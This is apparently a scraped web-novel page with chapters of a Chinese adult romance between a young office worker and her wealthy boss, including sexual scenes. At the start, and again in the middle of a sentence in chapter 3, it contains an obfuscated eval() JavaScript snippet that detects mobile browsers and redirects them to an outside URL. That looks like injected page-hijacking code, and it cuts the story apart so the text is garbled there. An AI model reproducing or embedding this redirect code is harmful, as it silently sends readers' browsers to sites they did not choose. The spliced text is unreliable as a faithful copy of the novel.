;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016372|194198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 池溪失落地想道,心中属于暗恋的酸涩让她再度沉默起来。 不自量力爱上这样一个耀眼强大的男人本身就是她自己的错。 毕竟以她这样的身份,还敢肖想他。简直是蜉蝣追老虎。 - 池溪那个凤凰男老爸给她打电话的时候,她已经在房间内躺了两天。 自从那天和沈决远分开后,她就感冒了。 可能是晚上着了凉。 她打了个喷嚏,听到电话里她爹走过场般地问她最近过的怎么样。 她觉得他但凡耳朵没问题都能听出她鼻塞到像蒙了层湿棉花的嗓音。 “挺好的,阿嚏——” 耳朵没有任何问题的凤凰男老爹点了点头:“那就好,你在那边安心住着,缺什么东西尽快和爸爸说。” 与此同时,池溪听到有个稚嫩童声在那边催促他:“爸,姐姐和妈妈已经好了,该走了。” 然后电话那头的男人就匆匆挂了电话。 她躺在床上,双目无神地发了会呆。最后忍下眼角的泪水。 她本身就没有资格去要求很多东西,私生女能混成她这样已经算是老天没眼了。 生病的时候人的情绪是最脆弱的,她觉得自己像一块被晒脆了的海苔。 她不希望在此刻被伤害的四分五裂,她希望有人能温柔地含住她,将她含软,含暖。 她已经病了两天,但家里没有任何人知道,也没人关心她。 世界上最关心她的那个人,她的妈妈在她高中的时候就去世了。 上司在接到她的请假电话后只是告诉她,这个月的全勤没有了。 还好池溪因为痛经常备着布洛芬,否则她严重怀疑自己高烧烧死了,等到尸体腐烂发臭,家里的佣人才会发现。 她又想到了沈决远,她希望自己这片被晒脆了的海苔能够被他温柔地含软。 明明已经决定从前天开始讨厌他的。 时间回到被锁在浴室的那一天,虽然不合时宜,但池溪还是鼓起勇气问出了那个问题。 “您是不是很讨厌我?” “算不上讨厌。”男人直白道,“但我的确不欣赏你。” 池溪抿唇,她在心里吐槽,在国外长大的人都这么直接吗。他知不知道什么叫做婉转? 明明是她主动问的,得到答案后反而又不高兴了。 “您....对我存在偏见,我不是您想的那样,我也有很多优点的,需要发掘。”她闷闷不乐道。 “那很可惜,我对发掘别人的优点不感兴趣。” 他冷血地留下这句话,然后伸手拉开她面前的门。 ——那扇被她故意锁死的门,被他轻易打开。 “可以出去了。”他说。 想明白什么的池溪脸一红,所以,他早就知道自己是故意的。 故意假装门被锁死了出不去。 却还是陪她演完了这出幼稚的游戏。 是为了看她出丑吗。 想到这一切,她心里突然堵得慌。 发烧烧出了幻觉,她拿起那个娃娃当成沈决远咒骂。 “你就不能莫名其妙地来我的房间看望我,然后顺手给我留十万,再然后帮我把内裤洗了。最后留下来陪我睡一觉,然后再给我口一次。” 池溪不知道自己是什么时候睡着的。 只知道等她醒的时候已经没有那么难受了。 她闻到了饭菜的香味,手背插着输液管,药水已经输完了一袋。额头上还贴着退烧贴。 包括身上盖的被子也换了一床更厚更软的。 是她在做梦吗。 为什么她觉得自己的床变得这么舒服了。 枕头也变得这么舒服,饱满宽阔,还带着柔韧。牢牢地兜住她的脸,甚至能够感受到枕头恰到好处的块状肌理。心跳也是强劲有力.... 等等,心跳? 池溪睁开眼睛,入目看见的却是被睡到凌乱出现褶皱的衬衫。此时肌肉的线条已经在这种凌乱中被勾勒地淋漓尽致。 领带甚至都没来得及拆。 她抬起头,看到的是自己只在梦里才会见到的场景。 沈决远微微侧身,单手扶着她的后背,替她将额头上的退烧贴撕掉,随后又低头,用自己的额头碰了碰她的。 动作自然。 “已经没那么烧了,身上还难受吗?” 低沉而富有磁性的声音在她耳边响起,像是古典高雅的旧钢琴。池溪的心脏都要被穿透了。 这张脸近在咫尺,甚至连皮肤的纹理都能看得一清二楚,原来他鼻梁左侧有一颗这么小的痣。 “你...你怎么会在这里。”她还以为自己在做梦,愣了好久才开口确认。 “我不知道。”男人语气从容,将被她蹭开的衬衫纽扣重新扣好,“开会的时候突然满脑子都是你。所以就开车回来了,想看看你。” 结果看到了差点病死的她。 “呃....”池溪以为自己听错了,“什么?” 他从床上起身,看了眼黏在她身上的睡裙,身材曲线一览无余。 刚才睡觉的时候她身上很热,一直在流汗。 他也一直在替她擦汗,但睡裙还是湿透了。 “先去洗个澡,然后换身干净的衣服,以免感冒加重。” 他说话的语气是半命令式,可能是久居高位习惯了。 但在此刻的池溪听来,却带着令人心安的笃定。 她听话地下床洗漱。 直到她推开浴室的门,她都认为这和往常一样,是她做的一场沈决远饰演男主的春梦。 幸好这次不是噩梦。 因为在噩梦里,他看她的眼神永远都是冷冰冰的,和现实重叠。 按照梦境一贯的套路,等她洗完澡出去,他们就要大做特做了。 她有点期待他这次会用什么体位。 她很喜欢颠勺,因为他臂力很强。 可是洗到一半池溪发现了不对劲,私人医生为她输液之前,在她手腕内侧留下的那个皮试针眼还在隐隐作痛。 梦境会疼吗? 怀揣着这样的疑惑洗完澡出来,看到盥洗室内,沈决远的衬衫袖子卷至,黑色袖箍压出贲张的肌肉线条。 他傲慢挺拔的身姿仍旧是她所熟悉的那个挑剔的上位者。 世界上恐怕找不出第二个比他更加适合穿正装的男人了。衬衫上虽然仍旧存在被她睡出来的褶皱,可是他的身材和脸足够让人忽略这一点。儒雅禁欲的气质让人在看到他的第一眼就能联想到教堂。 圣洁,让人奉为信仰。 然而这样的人,此时正在盥洗室内给她洗内裤。 而房间内的桌上,不多不少,放着一张价值十万的支票。 ????? ??????????? 池溪的世界观破碎了。 她突然想起自己后面说的那句话。 ——然后给我口一次。 3. 第三章 第一次见到沈决远是在池溪高中毕业的那个暑假。 某天当她回到家时,发现家徒四壁的客厅坐着一个气宇轩昂气质斐然的中年男人。 他身上的贵气和穿着一身洗到发白的连衣裙的池溪截然不同。 在少女的愣怔当中,男人笑着站起身:“小溪,我是爸爸。” 那可真是一段离奇的回忆,一贫如洗为大学高昂学费担忧的时候,凤凰男老爹找了回来。 也是那个暑假,池溪短暂地拥有了为期两个月的富家小姐体验卡。 她从那个贫穷落后的小县城被带去雍容鼎盛的北城。 按照她之前看的那些狗血偶像剧里的剧情和套路,她以为自己这个私生女会被排挤欺凌。 事实上,无人在意。 这些富家千金富家少爷们每天的行程被不同的功课占满,需要学习的不止语数外,还有马术和各种乐器。 和他们站在一起,池溪甚至还没有家里那些负责端茶倒水的佣人有气质。 即使是佣人,也是接受过培训才能成功入职的。 她们不仅会点茶,还会辨香调熏和伺花弄草。没人会把时间浪费在一个这样的人身上。 不过这样也挺好的,池溪在那里度过了一个悠闲的假期。 池溪从来不知道私人农场居然那么大,也不知道地下车库堪比地铁站。 那些目不暇接的豪车整齐地停放。 每天的食材都是新鲜空运,家里的马场更是占据了十公顷的面积。 临近暑假的尾声,发生了一件足以改变池溪未来的大事。 ——她的择偶观因为某个只见了一面的男人彻彻底底的改变了。 家里那种松弛的老钱风氛围突然发生了改变,平日里位居高位,气场强大的那些长辈们,纷纷情绪紧绷,严正以待起来。 再然后,池溪在那个晚宴上见到了让他们如此重视的男人。 二十出头的年纪,少年感并未完全褪去,却仍旧带着无声的威慑力,气场强大,自成一脉。周围频频有人主动上前与他攀谈,他也只是温和地笑一笑。 只是那笑不达眼底。 优雅,疏离。是最难接近的类型。出生就在高位,俯瞰他人。以至于面对谄媚也能游刃有余的应对。 听说他是沈伯父的长子,但从小就跟随母亲回了北欧。 沈伯父的地位位于北城金融圈的金字塔顶,可惜他如此庞大的商业帝国,在他这位长子眼中却不值一提。 在他回来之前,有人替沈司桥鸣不平,担心他这个大哥会回来争夺家产。 可是如今看来,他显然看不上这点东西。 听说这次回来,也只是因为祖母身体不行了,所以回来看她最后一眼。 他叫沈决远,英文名Eli,比她大六岁。池溪在心里默默记住了这几点。 她站在最外围,连看他一眼都只能隔着人山人海。 甚至连平时无视她的那些富家千金和少爷们,也没有资格与他说上哪怕一句话,只是局促地站着,希望能够获得他一个眼神。 沈决远的出现除了在少女心中激起影响终生的涟漪之外,同时还彻底切断了她一切恋爱的可能。 看过沈决远后,她已经没办法再爱上其他人了。 她想得到他。 但这显然是天方夜谭。 - 以前认为的天方夜谭,如今就站在你唾手可得的地方。 甚至亲手替你洗着内裤,你会认为是在做梦吗? 沈决远将内裤洗干净后,走出阳台晾好。 池溪看到他再次进了盥洗室,视线在洗手台上扫了一遍,最后拿起旁边未开封的漱口水漱了漱口。 她的心里瞬间警铃大作。 为什么要漱口? 她满脑子都是自己最后说的那句话。 此时沈决远的举动让她感受到了风雨欲来的危险。 于是攥紧裤子,警惕地询问他:“你..你漱口做什么?” 男人没有回答她,从盥洗室内走出来,“感觉怎么样,还难受吗?” 她手背上的输液针沈决远已经帮她拔了,睡了一觉后,她现在已经好的差不多了。 “嗯,好多了。谢谢你。”她道谢的同时,整个人还是十分警惕。 老天爷,她之前就是烧迷糊了随口一说,她根本不知道那个娃娃这么灵。 “那个...你去忙吧,不用管我了,我自己可以.....” 沈决远没有理会她的话:“裤子脱了吧。” “什....什么....” 果然该来的还是来了。 池溪有色心没色胆,虽然在脑子内和梦境里,早就和沈决远尝试过所有的体位,甚至还发掘出了不少现实中根本无法实现的高难度姿势。 身体早就自发成为了他的形状。 可...真让梦境成为现实,和他进行实操,她完全没有这个胆量。 更何况,如果是以这种方式,会让她觉得是自己强迫了他。 她不清楚这个娃娃究竟是如何神奇的做到这一点的。 它远程操控了沈决远的身体和思想? 那她能不能让沈决远把他全部资产都换上她的名字。 哈哈,开个玩笑。 她担心万一他清醒了,发现自己正趴在讨厌的人腿间... 池溪非常肯定,自己不会有好下场,所以她得阻止他。 “你冷静一点,其实这根本就不是你的真实想法,你只是被控制了,被娃娃控制了...” “什么娃娃。”沈决远眉头皱了皱,似乎丧失了耐心,“里面有穿吗?” 她点头:“.....内裤。” “嗯,脱吧。”他淡淡地发号施令,那种属于上位者的掌控让池溪这个底层员工根本没有办法拒绝。 最后还是半推半就地把睡裤往下拉了拉。 在脱的途中,她紧张地抿唇,只能无力的请求道:“不...不要伸舌头....舔。” 面对她这个近乎绝望的哀求,他的眉头再次微不可察地皱了皱。 他保持着绅士风度用外套盖住她的下身,没有去看不该看的地方,只是检查了一下她大腿内侧的伤口。 一个不那么明显的红肿。 池溪昨天就发现了,但她没太在意。结果今天范围变大,甚至还在周围浮现出了一圈淡青色的淤血。 “医生说你应该是被某种有毒的蚊虫给咬了,所以才会持续高热。” 听到他的话她才发现是自己会错了意.... 好尴尬。 “啊,严重吗?”但她此刻更担心这个。 “不算严重,伤口已经处理过了。” 他伸手按了按,“还疼吗?” 她的身材是纤细的,但却不属于干瘦型,或许是骨架小,也可能是不爱运动所以体脂偏高。所以腿上的触感柔软。 男人手上的薄茧代表他并非是养尊处优长大,听说他独自创业的那几年,在环境艰苦的国外待了好几年。 稍显粗糙的掌心摩挲地她有点痒,她想将腿从他手中抽离,又被男人近乎霸道的按回去。 “这个会有后遗症吗,会影响到工作吗?” 牛马最担心的就是这个。 沈决远还保持着半蹲着的姿势,没办法,身高差异过于悬殊,更何况她是坐在床边的。 “没什么问题,休息几天就好。”他说。 那就好。 池溪松了口气,脑袋垂下来。 刚好外面传来敲门声,是某个和池溪很熟的佣人:“小溪,你在里面吗?我今天有点事情需要外出一趟,可是司桥少爷邀请了朋友来家里做客,你去帮我招待一下。” 池溪想到对方前几天说的那些话。 她拿对方当朋友,对方拿她当冤大头。她还没不知道窝囊到这种程度,想着当面去拒绝,结果忘了自己的睡裤子脱了。 才刚起身,盖在她腿上的男士外套顺势掉了下去。 蹲在她面前替她检查完伤口的男人还来不及离开,他的视线还处在为她检查伤口的角度,微微往下倾斜。 于是就出现了现在的一幕。 他刚好可以看清那条有粉色蝴蝶结的裤子。 池溪穿的睡衣是纯色的真丝款,自带胸垫的那种。她洗完澡的时候才想起来沈决远还在她的房间。 但好在浴室里提前放了一套备用的睡衣,所以她就换上了。 上衣的长度,刚好盖过腰,遮不住屁股,自然也遮不住前面。 “那个...”洗过还没完全吹干的头发,仍旧有水滴下来,肩上那一块被洇湿了。 好尴尬好尴尬好尴尬好尴尬... 拖鞋里的脚趾甚至因为尴尬而蜷缩起来。 为什么她不能再长高一点,为什么她的腿不能再长一点.... 为什么刚好是这里对着他的脸...... 为什么偏偏一切都这么凑巧。 这和亲自喂给他又有什么区别。 她甚至连他呼吸时的热气都能感觉到。 外面的敲门声还在继续:“池溪,我真的有事。司桥少爷的事情本来就是你在负责,你该不会是为了偷懒所以故意装不在吧?” 如果是在平时,池溪听到这种话肯定会翻一个大大的白眼。 看来她是真把自己的好心当成理所当然。 什么叫这本来就是她的事情。 她们是拿了工资在这里工作,而她,虽然属于寄人篱下,但也是以客人的身份住进来。 只不过她现在无心去考虑别的。她只希望沈决远能够快点离开。 “她们经常使唤你?” 可惜男人并没有立刻起身,他仍旧保持刚才的半蹲跪姿。甚至罕见地出言关心她。 池溪低下头,从她的视野里可以看见他微微压出褶皱的西裤,和收紧腰身的西装马甲。 还是第一次从这个视野看他。 他的肩真的好宽,量身裁剪的衬衫也无法掩盖的背阔肌,像是一堵令人安全的墙壁。除了宽阔就是结实,让人想要靠在上面。 他的穿着毫无疑问是昂贵的。 无论是珍稀的骆马绒羊毛,还是来自伦敦佛萨尔街顶级裁缝的手工缝制,但都不及他自身的优雅与矜贵的万分之一。 他的身材如此挺拔,压迫感油然而生,一言不发也令人双脚发软。池溪根本不知道该怎么做,她只能祈祷他先离开。 快走吧,拜托了,离她远一点。 最起码...最起码是现在。 她的胸口几乎有一道声音就要冲破她的颈项尖叫出来,由于害怕,自然垂放在两旁的双手紧紧攥住了睡衣的下摆。 他的鼻梁好挺,眉骨优越。 陪她在床上躺了一会儿后,稍显凌乱的额发能够瞧出至少在两个小时前,还是一丝不苟的背头。 他很适合这个发型。 稳重而儒雅,成熟且绅士。 池溪不得不承认,除了对她存在偏见这个她无法容忍的‘缺点’之外,他是一位非常非常迷人的男人。 西装都能穿的这么禁欲性感。 哼。 长得这么帅,谁知道在外面有没有和其他人乱搞。 池溪又开始酸溜溜的。只不过在此刻显得有些不合时宜。 她悄悄往后退了退,想要远离他。同时伸手去摸索身后的被子,想要盖住自己的大腿。 “嗯...我一开始以为我们是朋友,所以偶尔会帮忙。”她回答他刚才的问题。 他似乎很轻的冷笑一声:“显然她们不这么想。” 是啊... 池溪闷闷不乐的想道,她们有工资拿,她又没有。为什么这么理所当然的让她去做那些事情。 正当她打算回应外面还没有停止的叫喊时。 “不用管她。”沈决远单手解开领带,“躺下吧。” 声音平和,却带着不容置喙的强硬。 命令着她。 ...... 两个小时后,有佣人看到沈决远少爷从池溪小姐的房间出去。 他似乎在里面和她共用了晚餐。 因为他离开时,用那块灰色的方帕擦了擦嘴。 动作一如既往的从容,且优雅。 不知道过了多久,池溪仍旧保持坐在床边的姿势,只是此刻是朝后平躺着的。 她的湿发已经被吹干,蓬松柔软地散开在还带着阳光烘干后淡淡香味的被子上。 她白皙的脸上潮红未退,睡裤完好无损地穿在身上。 如果仔细点看,会发现她的大腿两侧仍旧在不受控的抽搐。 阳台上挂着两条内裤。 其中一条,明显是刚洗的。 很显然,洗内裤的人没什么做家务的经验。几乎没怎么拧干,甚至往下淌着水。 和十分钟前,这条内裤没洗之前的状态是一样的。 她翻了个身,懊恼地将自己埋进被子里。 完了,完了,完了。 一切都完了。 如果沈决远知道一切后找她秋后算账,她该怎么办? 她完了。 她肯定完了。 - 从池溪高热窝在房间闭门不出,到现在出现在餐桌上,已经过去了整整四天时间。 沈伯父和郑伯母对她这几天去了哪里显然并不关心。 只有沈司桥语气刻薄地取笑她:“怎么,又和你网上那些狐朋狗友开了四天黑?” 池溪觉得沈司桥有毛病,总是和她过不去,抓住点机会就嘲讽她。 郑伯母轻声斥责他:“不要总是欺负小溪。” 话音一转,她又笑着去和沈决远说:“你还记得泱泱吗,就是我和你爸爸结婚纪念日那天,和你在外面说话的女孩子。” 沈决远慢条斯理地用着早餐:“记得。” 池溪也记得。她当时为了‘独占’沈决远,甚至还故意和对方撒了个谎。 想到这里,她有些过意不去。 得到肯定的回答,郑伯母显然很开心:“那孩子的妈妈和我是好朋友,她在纽约读大学,这次回来实习,她妈妈希望我能够给她安排一个职位,你看公司内部有什么适合她的岗位吗。你放心,那孩子的学历很高,正式招聘也能过,不算关系户。” 此时唯一一个关系户顿时心虚起来。 池溪就是靠沈决远替她开后门进的这家公司。否则她连当保洁都没资格。 “您直接将她的简历交给Hr就可以。”沈决远语气很淡。 郑伯母之所以多此一举问他也是为了看他的态度。眼下看来结果是好的。 那孩子对他一见钟情,满心满眼都是他。所以她妈妈就希望自己能够帮忙促成这段关系。 郑伯母自然是乐意至极,毕竟泱泱名门闺秀,家世清白,性格又好。 如果决远能够找到这样的妻子,那也还不错。 厨房将做好的鲍鱼羹端出来,分别摆放在每个人的面前。 郑伯母告诉沈决远:“这是我亲手做的鲍鱼羹,你尝尝看,合不合胃口。” “嗯。”他拿起勺子。 池溪下意识地盯着沈决远正在吃鲍鱼羹的嘴巴看。 一天前,他刚用这里吃过。 男人咬了口鲍鱼,也抬头看了她一眼。 视线对上的瞬间,池溪立马心虚地低下头。 - 池溪郁闷了一整天。 今天迟到被部长骂了整整半个小时。 同事过来关心她:“怎么了迟到了。” 池溪垂头丧气,她也没办法,她住的那个地方根本没有公交车站。 富人区出行都是司机,根本就不需要坐公交。 但她需要,她这种社畜牛马。 没有有钱人家的孩子该有的待遇,却要遵守有钱人的良好家规和健康作息。 每天都得早起一起用餐。 “为什么不让你家人送或者搭个便车。你家里人不会都没车吧?” 同事想到她平时节衣缩食自己带饭,部门拼个下午茶她都会先把自己排除出去。 想来家境应该很差。她家里没车也很正常。 池溪却陷入沉思。 她今天的确想过拜托沈决远顺路捎自己一程。 她以为经历过那样的事情之后....二人的关系应该有所拉近。 毕竟也算是‘唇’友谊了。 他的唇和她的‘唇’在某种意义上也算是‘接过吻’ 她看着那辆黑色劳斯莱斯幻影定制版,三排七座,车身比标准版要长一些。他坐在第二排的主宾舱,与驾驶座中间的那块玻璃隔断已经升起。车门内置的隐藏桌板此时放置着笔记本电脑。 沈决远西装革履的样子一如既往的严肃禁欲,和这台车的风格非常配。 他戴着蓝牙耳机正在进行跨国的远程会议,像被刀锋雕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016373|194198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻。 车窗是她被敲开的,男人安静看着她。 池溪笑眯眯地和他打招呼:“抱歉,我不知道你在工作。” 他连单侧耳机都没摘:“有事?” “呃....”她有些羞怯地摸了摸头,拜托道,“沈总,可以...麻烦您顺路带我一程吗,反正我们也顺路。” 她以为他会同意。 但她忘了,这位绅士似乎对她没什么好感。 “我不希望公司流传你和我之间的谣言。”他划分界限的意味太过明显。 “可我快迟到了,我这次...” “你将和我交谈的时间用来打车,还有非常充足的时间。” 他冷淡地留下这句话,车窗随之升起。 池溪亲眼看着他完美的顶级侧颜随着没有丝毫停顿,上升的车窗中逐渐从下颚线开始消失在她的视线中,最后是那双重新投入工作中的瑞凤眼。 看来那件事情只是一个小插曲,是游戏里不影响日常的分支任务,不会影响剧情走向和角色好感度。 该死的。 - 这份郁闷一直持续到晚上。 同事聚餐池溪也去了,不仅去了,还因为心情郁闷喝多了。 一群人坐在一起吐槽上级。 不知道是谁提到了那个没有人敢提起的禁忌——董事长。 天呐,刘微微急忙捂住旁边那个男人的嘴巴:“沈董你也敢随便议论!” 那个男同事拉开她的手,笑道:“我没议论,我只是觉得他那种男人很帅。你不觉得吗,位高权重,长得还帅,随便回国继承的公司就有好几万员工。更何况人家可能压根就看不上咱们这个‘小’公司。听说他在国外的身份更牛。牛到在社交平台提及他的名字都会被立刻和谐掉的地步。” 旁边那个醉到摇摇晃晃的女生突然笑了:“哈哈哈哈为什么啊,难道他的名字是什么黄文的文名吗?我以前很爱看的一本小说就是因为太黄了,所以文名直接被和谐掉了。” 微微看着面前这个长相清纯的女生,感叹她还有这种癖好。 “看来你对咱们董事长真正的厉害之处没有一个清楚的认识。” “他有什么了不起的。”池溪不屑一顾地笑了,“也就嘴巴还行。” “......”见她居然敢开沈董的黄谣,越发肯定她喝醉了,并且醉得不轻。 “不过,我真的很喜欢沈董那种类型的男人。不是因为他的身份和他有钱,而是喜欢他这款。”刘微微说。 “不管长相还是身材都很顶。说实在的,长得帅的男人姐姐我也见过不少,但像沈董这种这么有性张力,荷尔蒙爆棚的真的少见。而且很有安全感。胸肌也大,我喜欢有大胸肌的男人。” “沈董每天穿的那么严实,你是怎么看出来的?” 刘微微神秘一笑:“你懂什么,衬衫都被撑出弧度了,还能不大吗。” 一群人在那里犯花痴,池溪突然被cue到。 他们问她:“你呢,你喜欢什么样的?” 刚把娃娃从包里拿出来,当成沈决远本人扇耳光掐脖子发泄怒火的池溪,听到他们的问题后,随手把娃娃往手边一扔。 “我啊?”她捂着脸,痴痴地笑着,“我最喜欢的剧情是他看到别的男人送我回家,然后吃醋,狠狠打我的屁股惩罚我,最后再抱着我颠勺....” 她似乎将这个画面在自己脑海里过了一遍,憧憬地捂着脸笑。 还好在场的那几个男的都出去抽烟去了,否则要是被他们听到了,池溪明天还怎么去上班,不得直接社死啊。 不过她长得这么清纯,平时也没什么话,还真看不出来,内心还挺狂野,口味这么重。 聚餐结束,也到了回家的时候。没喝酒的只有两个,所以就四个人一台车。 微微扶着池溪坐进了齐正的副驾驶:“你记得把她安全送到家,看着点她,别让她乱跑。她喝醉后简直性情大变。” 齐正低头笑了笑:“很可爱。” 微微看到他这个样子也觉得好笑。 这叫什么,情人眼里出西施? 齐正的车上有三个人,池溪住的地方最远。 所以到最后,车上只有他们两个人。 微微之所以放心地将池溪交给齐正,就是因为清楚他的为人。 他不可能做出那些趁人之危的事情来,而且微微看得出来,齐正喜欢池溪。 他的条件不错,本地户口,父母都是体制内,他985硕士,a8家庭。长相端正,性格也好,微微觉得齐正是池溪这辈子能够碰到的天花板男人了。 她想顺水推舟帮忙撮合一把。 距离目的地还剩一公里,他就被那道门禁道闸给拦住。 穿着制服的警卫队在巡逻把守。 齐正的车被拦了下来,他有些茫然地降下车窗。 警卫走过来:“这里是私人区域,外来车辆不能进入。” 私人区域? 齐正愣住了,这附近也没有看到任何住宅,只有规划过的树林和湖泊。 难道这些也是私人所有? 副驾驶那个烂醉如泥的女人将头伸了出去:“现在可以了吗,现在可以进去了吗?” 警卫看清她的脸后,沉默几秒,取消门禁,放行。 ‘刷脸’成功的池溪又重新将头收回去,收回去的同时后脑勺不小心撞到了,她捂着头痛苦哼哼。 白色大众开在平整的马路上,余光瞥见车窗外一闪而过的景色。 这里的地皮有价无市,据说都是世代传下来的,住在这里的人,基本都是old money。 他想过池溪的家境应该不普通。但没想过会这么不普通。 从放行到现在,已经开了十多分钟,他终于看到了那栋私人庄园的房屋。 简约的华丽,没有任何渲染金钱的地方,可处处都透着金钱的味道。 “这不是我家。”池溪醉醺醺地说,“我只是借住在这里。我的身价还没有养在这里的边牧值钱。” 不知道为什么,听了她的话后,齐正暗暗松了口气。 下车后,池溪摇摇晃晃地在前面走。齐正将她的包拿下车,生怕她摔倒,急忙追了上去:“你还好吗?” 她摇头:“头疼。” 摇了一下又开始哭,“头晕。” 齐正扶着她:“这边。” 池溪看不清他的脸,眼睛眯起后凑近了他:“你谁啊?” 她说话的同时,一股浓郁的酒味扑面而来。 可是齐正差点被香晕了。 “齐正。”他的喉结滚了滚。 “我没点凉茶啊。”她伸手就要叫服务员过来,没点怎么还强买强卖呢。 “那是和其正....”到底喝了多少。 “是吗。”池溪继续往前走。 走了两步不受控地往下栽倒。还好被齐正及时抱住。 她顺势倒在他的怀里,慢慢就失去了意识。 这扇恢弘的铁门,齐正显然没有资格顺利通行。他只能让里面的人出来接她。于是将手伸进她的包里摸了摸,想要找到她的手机打电话。 当他拿出手机,对着她的脸成功解锁屏幕,通讯录中的第一位联系人备注为:aaa 既然在第一位,应该是她很重要的家人了。 于是齐正毫不犹豫地按下拨通。 于此同时,有一道铃声从安静的夜色中传来。和他耳边的铃声重叠。 齐正愣了愣,转头看向声源处。 那辆黑色的劳斯莱斯不知道是什么时候停在那里的。 万籁俱寂的夜晚,被浅薄云层遮了一半的月亮散发着很淡的柔光。 即使有光,可见度仍旧很低。 车门打开,男人站在车旁,不知道看了他们多久。 车灯还没有熄灭。 发出声音的正是他手中的手机。 由于是背光,所以齐正的视线内只能看见模糊的身形轮廓。 是一个身量高大,肩宽腿长的男性。 黑色的大衣搭放在臂弯。 ——像捉奸的丈夫。 不知道为什么,齐正的脑子里突然浮现出这样一句话。 脚步声响起,面无表情的男人关上车门,朝他们的方向走了过来。 直到此刻,齐正才终于看清对方的脸。 他的身体因为害怕,猛地抖了一下。 沈....沈董? 4. 第四章 齐正显然没想到会在这里看到这个男人,他的手脚全都僵在原地,不知道该怎么动弹。 所以沈董朝他们走来时,他只能一动不动地站在那里。 沈董和池溪住在一起?沈董和池溪是什么关系?他们是情侣吗?可池溪说过她是单身的。 当然,他的所有疑惑没有得到解答。 沈决远将喝到烂醉的池溪从他怀里接过来。 醉鬼的力气都很大,齐正用尽全身力气都按不住的人,此时在男人的怀中瞬间变得老实。 像是猎人对于猎物的那种天然的威慑力。 “还有别的事情吗?”对方淡声询问。 齐正早就被对方的出现震惊和惊吓到说不出半句话来,眼下只能通过摇头和点头来回答。 他点头,又急忙摇头。 他们之间的对话便到此为止。 沈决远将烂醉如泥的女人放到副驾。 恢弘的铁门被守在两旁的警卫打开,黑色的劳斯莱斯由此驶入庄园。 带着雾气的夜晚,车身与车尾灯折射出一道锐利冰冷的弧度。 - 池溪一直在喊热,沈决远将她放回床上之后就打算离开,但她突然过来抱着他不肯放:“我说我很热。” 他语气冷淡:“这句话是和谁说的?” “唔,当然是和你。” 她从身后抱着男人,脸自然而然地埋在他的后背。 西装外套带着夜色的凌冽与男人自身的体温。那种极致的对比让人欲罢不能。 “是吗。”男人不为所动,语调不见起伏,“我是谁?” 池溪不知道想到什么,突然笑了起来。 “我今天穿了丝袜哦。” 沈决远沉默回头:“什么?” 她这下终于肯将脸从他的宽阔的后背抬起来,大约是酒精烧坏了她本就没什么太大用处的脑子,此时说话前言不搭后语。 “她们说你奈子很大。” “......” 她的房间没有开灯,此时只有外面传来的微弱光亮。 这里的廊灯整夜都会亮着。池溪并不喜欢开着灯睡觉,所以每天晚上她的窗帘都会拉的很严实。 今天也不例外。 从外面根本看不出里面发生了什么。 所以他们想做什么都可以。 “你知道吗,我每天晚上都会梦到你。我知道你这里很结实,你的臂力很强,你可以单手抱起我.....”她醉醺醺地说着醉话,伸手去摸他的手臂,开始在那里独自上演情景剧,“刚才那个人只是我的同事,您不要误会,我和他什么都没有做...这件事和他无关...您要惩罚就惩罚我好了....” “......” ------- 池溪一整个上午都在那张办公椅上坐立难安。 微微问她怎么了:“不舒服吗?” 池溪为难地摇了摇头,总不能说自己的屁股被人扇的全是巴掌印吧? 关键是,她连是谁扇的都不知道。 早上睡醒就这样了。她照过镜子,屁股上错落的巴掌印明显是男人的手。 也不是不疼,就是很敏感.... 池溪认为这是一件非常可怕的事,这不仅意味着她被人打了,对方还脱下了她的裤子。 甚至很有可能猥亵了她。 可是能是谁呢,她连嫌疑人都无法锁定。只知道对方力气很大,并且...手也很大。 一只手都快盖住她大半个臀部了。还是报警吧。 中午吃饭的时候,一群白领坐在那里边吃边聊。 只有池溪全程魂不守舍。 不知道是谁聊到了昨晚的聚餐,微微笑容意味深长地看着迟溪:“真是想不到啊,我们清纯乖巧的新人小溪还有那样一面。平时怎么一点也没看出来。” 池溪刚吃了口奶油,听到她的话,整个人有些懵:“什么?” 微微压低了声音,笑着调侃:“你不记得了吗,你昨天说想被男人吃醋之后……” 她把她昨天说的话重复了一遍。 一口奶油呛在喉咙,她咳了好久才咽下去。差点成为被奶油呛死的第一个人。 “什...什什什什么???” 池溪说话都开始结巴。 微微以为她这个反应是因为自己真实的一面被人发现而不好意思,她靠近了她,一脸我都懂的神情:“你包里那个娃娃的原型是沈董吧?做的还挺像,我一眼就认出来了。你昨天晚上喝醉了之后就一直抱着它絮絮叨叨。不过你放心,我帮你偷偷收起来了,其他人没有发现。齐正也没发现哦。 不过这也是人之常情,沈董那样的男人哪个女人不喜欢。他可是男女通杀,我跟你说,隔壁部门那个.....” 微微后面的话她一句也没听进去,满脑子都是她复述的自己醉酒后说的话。 吃醋.....撕烂裙子...打屁股.....颠勺..... 所以....那些巴掌印是沈决远的? 不是吧,酒后说的胡话也能成真? 池溪只是发了个酒疯而已,她的色胆绝对还没有到这种程度。 她一发酒疯就会口不择言。上一次还是在姐妹聚会上,她正式搬离小镇来北城时,和闺蜜们吃了顿散伙饭。 闺蜜们让她去了大城市后千万别忘了她们,一定要找个有钱老公,然后再把有钱老公的有钱朋友介绍给她们。 